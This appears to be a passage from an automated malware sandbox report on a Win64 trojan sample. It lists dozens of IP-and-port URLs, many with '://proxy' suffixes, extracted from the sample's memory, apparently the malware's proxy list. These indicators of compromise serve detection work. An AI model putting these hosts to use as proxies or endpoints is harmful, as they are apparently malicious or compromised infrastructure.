Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.198:34405
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.198:34405://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.202:34409
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.202:34409://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.204:34411
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.204:34411://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.207:34405
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.207:34405://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.213:34411
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.213:34411://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.216:34405
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.216:34405://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.220:34409
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.220:34409://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.222:34411
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.222:34411://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9581000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C90A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.112.120.252:45555
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C90A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.112.120.252:45555://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.112.127.20:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.112.127.20:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.115.232.79:10800
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.115.232.79:10800://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.115.232.79:31280
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.115.232.79:31280://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.127.93.185:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.127.93.185:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.129.42.252:60111
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.129.42.252:60111://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.174.242.114:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.174.242.114:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.192.31.37:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.192.31.37:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6577000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.200.149.242:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6577000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.200.149.242:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.200.161.241:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.200.161.241:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.200.74.139:1685
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.200.74.139:1685://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC6B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.23.175.80:8443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.23.175.80:8443://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.231.230.141:18500
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.231.230.141:18500://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.252.66.209:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.252.66.209:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.252.73.23:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.252.73.23:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.3.112.128:35860
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.3.112.128:35860://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.31.100.138:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.31.100.138:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.33.238.18:8111
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.33.238.18:8111://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.42.99.22:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.42.99.22:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.5.132.74:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.5.132.74:5678://proxy0k&
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A72000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.50.19.150:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.50.19.150:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.77.163.196:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.77.163.196:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76FF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7715000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.137.150:13716
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C770F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.137.150:13716://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA9E6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA9C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.137.30:28629
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA9C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.137.30:28629://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.138.172:48217
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.138.172:48217://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82D0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.142.131:48046
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.142.131:48046://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.142.145:52920
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.142.145:52920://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C768B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8385000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.143.147:50901
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C768B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.143.147:50901://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.143.211:55562
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.143.211:55562://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9557000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6718000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.143.49:46898
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6718000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.143.49:46898://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.143.60:56462
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.143.60:56462://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.90.121.79:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.90.121.79:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.92.204.54
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.92.204.54://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.92.204.54:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.133.123.122:3218
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.133.123.122:3218://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.135.234.101:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.135.234.101:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76BC000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7766000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.75.85:50573
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7766000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.75.85:50573://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.75.85:57607
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.75.85:57607://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.75.85:59058
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.75.85:59058://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C758D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.78.200:28513
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C758D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.78.200:28513://proxyp
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.78.200:40927
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.78.200:40927://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB0C6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.79.177:5189
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB0C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.79.177:5189://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB0A7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB11A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.79.177:64556
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.79.177:64556://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.84.202:1240
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.84.202:1240://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.143.113.82
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.143.113.82://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.145.137.102:37447
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.145.137.102:37447://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.147.192.100:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.147.192.100:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.149.182.98:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.149.182.98:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.151.79.84:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.151.79.84:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.157.6.50
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.157.6.50://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.157.6.50:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.16.56.132:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.16.56.132:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.16.81.147:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.16.81.147:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.16.81.182:35559
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.16.81.182:35559://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.165.168.190:9898
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.165.168.190:9898://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.165.168.190:9898x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.166.82.158:62715
